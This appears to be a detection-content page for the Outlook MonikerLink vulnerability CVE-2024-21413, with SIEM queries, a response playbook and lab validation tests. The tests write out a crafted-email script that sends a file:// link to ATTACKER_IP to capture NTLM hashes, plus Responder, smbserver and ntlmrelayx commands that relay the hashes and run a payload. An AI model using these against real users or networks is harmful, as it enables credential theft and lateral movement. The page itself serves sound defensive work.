Detect CVE-2024-21413: Microsoft Outlook RCE via Moniker Link (MonikerLink) in IBM QRadar
CVE-2024-21413 is a critical remote code execution vulnerability in Microsoft Outlook caused by improper input validation of hyperlinks using the 'file://' moniker protocol combined with an exclamation mark suffix. When a victim previews or opens a crafted email, Outlook follows the malicious link without the usual Protected View warning, leaking NTLM credentials via an outbound SMB connection and potentially enabling remote code execution. CVSS 9.8. Actively exploited in the wild (CISA KEV).
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
destinationport,
username,
"Image" AS process_image,
"ParentImage" AS parent_image,
"CommandLine" AS command_line,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Microsoft Sysmon', 'Microsoft Defender ATP')
AND (
("ParentImage" ILIKE '%OUTLOOK.EXE%' AND "Image" ILIKE ANY ('%cmd.exe%', '%powershell.exe%', '%wscript.exe%', '%mshta.exe%', '%rundll32.exe%', '%regsvr32.exe%'))
OR ("Image" ILIKE '%OUTLOOK.EXE%' AND destinationport IN (445, 139))
)
AND LOGSOURCESTARTTIME(devicetime) > NOW() - 7 DAYS
ORDER BY starttime DESC
LAST 10000QRadar AQL detecting Outlook-initiated SMB egress and suspicious child processes spawned by Outlook, covering the primary CVE-2024-21413 exploitation indicators.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate internal file share access initiated through Outlook email links in corporate environments
- Help desk or IT automation scripts launched via Outlook scheduled emails
- Document management plugins that spawn helper processes under Outlook
- SIEM-integrated security tooling that processes email events and forks processes
Other platforms for CVE-2024-21413
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1MonikerLink NTLM Credential Capture via Crafted Email
Expected signal: Windows Security Event ID 4776 on DC showing NTLM authentication from victim Outlook host to ATTACKER_IP. Sysmon Event ID 3 showing OUTLOOK.EXE network connection to ATTACKER_IP:445.
- Test 2Outlook Child Process Spawn via MonikerLink RCE Simulation
Expected signal: Sysmon Event ID 1 with ParentImage=OUTLOOK.EXE and Image=calc.exe (or substitute payload). DeviceProcessEvents in Defender ATP showing the process chain.
- Test 3MonikerLink Pattern Extraction and Email Header Analysis
Expected signal: Microsoft Defender for Office 365 EmailUrlInfo table entry with Url matching file://[IP]/[share]/[path]![suffix] pattern. Log ingestion into SIEM within 5-15 minutes.
- Test 4NTLM Hash Relay Attempt Post-Credential Capture
Expected signal: Windows Security Event ID 4624 (Type 3 network logon) on lab target using relayed credentials. Sysmon network events showing SMB connection from relay host to target. New process execution on target if relay succeeded.
References (4)
Response Playbook
Triage
- Immediately check the recipient's email logs (Exchange Online / on-prem) for the offending message containing a file:// moniker URL pattern (file://[host]/[path]![extra]). Capture MessageId, sender, and all recipients.
- Identify whether the victim opened or previewed the email in Outlook. Check Defender for Endpoint DeviceNetworkEvents for outbound SMB (port 445/139) from OUTLOOK.EXE on the victim host within the timeframe of email delivery.
- Review DeviceProcessEvents (or Sysmon Event ID 1) for any child processes spawned by OUTLOOK.EXE after email preview/open. Focus on cmd.exe, powershell.exe, mshta.exe, rundll32.exe.
- Determine patch level: confirm whether KB5034763 (Feb 2024 Patch Tuesday) or later is applied on the affected host. Unpatched hosts with Outlook 2016/2019/LTSC 2021/M365 are vulnerable.
- Check network logs for NTLM authentication attempts from the victim host to any external or unexpected IP on port 445. A successful NTLM handshake indicates credential capture by the attacker.
Containment
- Isolate the affected endpoint via EDR network containment immediately if RCE indicators (child processes from Outlook) are confirmed. Block outbound SMB (TCP 445/139) at the firewall/proxy level for unpatched Outlook hosts as an emergency control.
- Reset credentials for any user whose NTLM hash was potentially captured. Prioritize privileged accounts. Consider forcing Kerberos-only authentication on domain controllers (RestrictNTLM GPO) if lateral movement is suspected.
- Quarantine the malicious email from all mailboxes using Exchange Online's threat explorer or on-prem EMS tools. Block the sender domain and IP at the email gateway.
- Apply Microsoft patch KB5034763 or the relevant February 2024 cumulative update across all Outlook clients. As an interim workaround, enable Protected View and disable automatic preview of emails from external senders.
Evidence Collection
- Collect OUTLOOK.EXE process memory dump from the affected host for forensic analysis. Capture prefetch files (%SystemRoot%\Prefetch\OUTLOOK.EXE-*.pf) and Outlook NK2/autocomplete files.
- Export Windows Security Event Log (Event ID 4776, 4625, 4624) for NTLM authentication events and network capture (PCAP) of SMB traffic from the victim host to identify the attacker's credential capture server.
- Preserve Outlook OST/PST files and email cache for the affected user. Collect MRU registry keys (HKCU\Software\Microsoft\Office\<ver>\Outlook\) to determine recently accessed items.
- Capture full email headers and body of the suspicious email for IOC extraction and submission to threat intelligence platforms.
Escalation Criteria
- !Escalate to Incident Response if confirmed NTLM credential theft occurred and the captured hash belongs to a privileged account (Domain Admin, Service Account, Global Admin in M365).
- !Escalate immediately if lateral movement is detected post-exploitation: any new remote connections, scheduled tasks, or service installations on systems other than the initial victim host.
- !Escalate if multiple users across the organization received the same malicious email, indicating a targeted campaign requiring enterprise-wide response.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Windows Security Event ID 4776 (NTLM authentication) and 4625 (failed logon) on domain controllers showing authentication from victim host to external IPs - >
Sysmon Event ID 3 (Network connection) showing OUTLOOK.EXE connecting to port 445 on external/unexpected hosts - >
Sysmon Event ID 1 (Process creation) with ParentImage=OUTLOOK.EXE and child processes including cmd.exe or powershell.exe - >
Outlook ETL/diagnostic logs at %LocalAppData%\Microsoft\Outlook\ - >
Windows Prefetch: OUTLOOK.EXE-*.pf with referenced DLLs and accessed file paths - >
Registry: HKCU\Software\Microsoft\Office\<version>\Outlook\Security\PackagerPrompt (may be modified by exploit) - >
Email headers in OST/PST showing message containing file:// URI with ! suffix
Tuning Guidance
Start by running the hunting queries in read-only mode for 72 hours to establish a baseline of legitimate Outlook SMB activity in your environment (common in organizations using SharePoint on-prem or UNC share links in emails). Whitelist known internal file server IPs in the SMB egress rules. For the child process rules, verify any Outlook add-ins or RPA tools in your environment that legitimately spawn cmd.exe/powershell.exe under Outlook — add these to an exclusion list by CommandLine pattern. Tune the moniker URL regex to exclude known internal domains if they use file:// links. Increase confidence to 'high' once a 2-week baseline confirms acceptable false positive rates below 5 per day.
Hunting Queries
Threat hunt for all instances of Outlook initiating outbound SMB connections to external IPs over the past 30 days, uncovering potential MonikerLink exploitation or NTLM credential theft attempts that may have occurred before detection rules were in place.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName =~ 'OUTLOOK.EXE'
| where RemotePort in (445, 139)
| where RemoteIPType != 'Private'
| summarize ConnectionCount=count(), UniqueDestinations=dcount(RemoteIP), DestinationIPs=make_set(RemoteIP, 10) by DeviceName, InitiatingProcessAccountName, bin(Timestamp, 1h)
| where ConnectionCount >= 1
| sort by ConnectionCount descindex=* sourcetype="ms:defender:atp:devicenetworkevents"
| where InitiatingProcessFileName="OUTLOOK.EXE" AND (RemotePort=445 OR RemotePort=139)
| eval is_external=if(match(RemoteIP, "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\.168\.)"), "internal", "external")
| where is_external="external"
| stats count by DeviceName, InitiatingProcessAccountName, RemoteIP, RemotePort
| sort -countProactive hunt for emails containing file:// moniker URLs (with ! suffix) delivered across the organization over the past 30 days, identifying any MonikerLink payloads that may have bypassed existing email filters.
EmailUrlInfo
| where Timestamp > ago(30d)
| where Url matches regex @'(?i)file://[^\s"<>]*![^\s"<>]*'
| join kind=leftouter EmailEvents on NetworkMessageId
| project Timestamp, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction, DeliveryLocation
| sort by Timestamp descindex=* sourcetype="ms:o365:defender:emailurlinfo"
| regex Url="(?i)file://[^\s]*![^\s]*"
| join type=left NetworkMessageId [search index=* sourcetype="ms:o365:defender:mailevents" | fields NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, DeliveryAction]
| table _time, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction
| sort -_timeAtomic Red Team Tests
Simulate CVE-2024-21413 by sending an email to a test Outlook client containing a file:// moniker link pointing to an attacker-controlled SMB server (Responder or Impacket smbserver). Validates NTLM credential leakage detection.
Command
# On attacker machine (Linux): Start Responder or smbserver
# python3 -m impacket.smbserver share /tmp/share -smb2support
# On attacker machine: Send test email via Python (lab environment only)
python3 -c "
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart('alternative')
msg['Subject'] = 'Test CVE-2024-21413 MonikerLink'
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'
html = '<html><body><a href=\"file://ATTACKER_IP/share/test!exploit\">Click here</a></body></html>'
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP('MAIL_SERVER', 25) as s:
s.sendmail(msg['From'], [msg['To']], msg.as_string())
print('Email sent')
"Cleanup
Stop Responder/smbserver process. Delete test email from victim mailbox. Clear Windows Security Event Log entries from lab DC.Expected Telemetry
Windows Security Event ID 4776 on DC showing NTLM authentication from victim Outlook host to ATTACKER_IP. Sysmon Event ID 3 showing OUTLOOK.EXE network connection to ATTACKER_IP:445.
Expected Detection
KQL DeviceNetworkEvents rule fires: OUTLOOK.EXE connecting to external IP on port 445. QRadar/Splunk SMB egress rule triggers. Email URL rule fires on the file://!pattern.
Simulate the RCE stage of CVE-2024-21413 by manually invoking Outlook with a crafted hyperlink that causes it to launch a child process, validating child-process detection coverage without sending actual NTLM credentials.
Command
# Lab simulation: directly test child process detection
# This simulates the result of RCE without needing a full exploit
# Run from PowerShell as the victim user
$outlookPath = (Get-Command OUTLOOK.EXE -ErrorAction SilentlyContinue).Source
if (-not $outlookPath) { $outlookPath = "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" }
# Launch Outlook, then spawn calc.exe as a child (simulating payload execution)
Start-Process -FilePath $outlookPath -PassThru | ForEach-Object {
Start-Sleep -Seconds 3
$outlookPid = $_.Id
# Simulate child process (use calc.exe as benign payload stand-in)
Start-Process -FilePath "calc.exe" -WindowStyle Hidden
Write-Host "Simulated child process spawned under Outlook PID $outlookPid"
}Cleanup
Kill calc.exe process. Kill Outlook if still running. Review and clear Sysmon event log entries created during test.Expected Telemetry
Sysmon Event ID 1 with ParentImage=OUTLOOK.EXE and Image=calc.exe (or substitute payload). DeviceProcessEvents in Defender ATP showing the process chain.
Expected Detection
KQL OutlookChildProcess branch fires. Chronicle YARAL rule matches ProcessRollup2 with ParentBaseFileName=OUTLOOK.EXE. CrowdStrike CQL detects the process chain.
Validate email URL detection rules by injecting a test message with file:// moniker URL into the lab mail environment and confirming detection in SIEM email log source.
Command
# PowerShell: Send test email with MonikerLink pattern to lab mailbox via EWS or Graph API
# Requires: lab Exchange or M365 test tenant, test credentials
$headers = @{"Content-Type" = "application/json"; "Authorization" = "Bearer LAB_ACCESS_TOKEN"}
$body = @{
message = @{
subject = "[DETECTION TEST] CVE-2024-21413 MonikerLink Simulation"
body = @{contentType = "HTML"; content = '<a href="file://192.0.2.1/testshare/document!CVE-2024-21413">Open Document</a>'}
toRecipients = @(@{emailAddress = @{address = "[email protected]"}})
}
saveToSentItems = $false
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sendMail" -Method POST -Headers $headers -Body $body
Write-Host "Test email with MonikerLink sent. Check SIEM EmailUrlInfo table for detection."Cleanup
Delete sent message from test account. Remove test message from recipient mailbox. Document test run in change log.Expected Telemetry
Microsoft Defender for Office 365 EmailUrlInfo table entry with Url matching file://[IP]/[share]/[path]![suffix] pattern. Log ingestion into SIEM within 5-15 minutes.
Expected Detection
KQL EmailUrlInfo regex rule fires. Splunk email URL detection triggers. Sumo Logic moniker_path parse captures the URL. Alert generated in SIEM with detection_source=MonikerURLInEmail.
After simulating NTLM credential capture (Test 1), validate detection of relay attack attempts using Impacket's ntlmrelayx in a fully isolated lab network, confirming lateral movement detection coverage.
Command
# LAB ONLY — isolated network with no production connectivity
# Requires: Impacket installed, isolated lab network, test AD domain
# Step 1: Capture hash with Responder
# sudo python3 /opt/Responder/Responder.py -I eth0 -wrf
# Step 2: Relay captured hash to secondary lab target
# (Run after Test 1 triggers NTLM auth from Outlook)
python3 /opt/impacket/examples/ntlmrelayx.py \
-t smb://LAB_TARGET_IP \
-smb2support \
--no-http-server \
-e /tmp/lab_payload.exe
# Monitor output for successful relay and authenticationCleanup
Terminate Responder and ntlmrelayx processes. Revert any changes on lab target system. Flush ARP cache on lab network. Document all lab activities.Expected Telemetry
Windows Security Event ID 4624 (Type 3 network logon) on lab target using relayed credentials. Sysmon network events showing SMB connection from relay host to target. New process execution on target if relay succeeded.
Expected Detection
NTLM relay activity detected via Security Event ID 4624 anomaly rules. CrowdStrike lateral movement detection on target host. SIEM correlation rule linking original Outlook SMB egress to downstream authentication on a different host.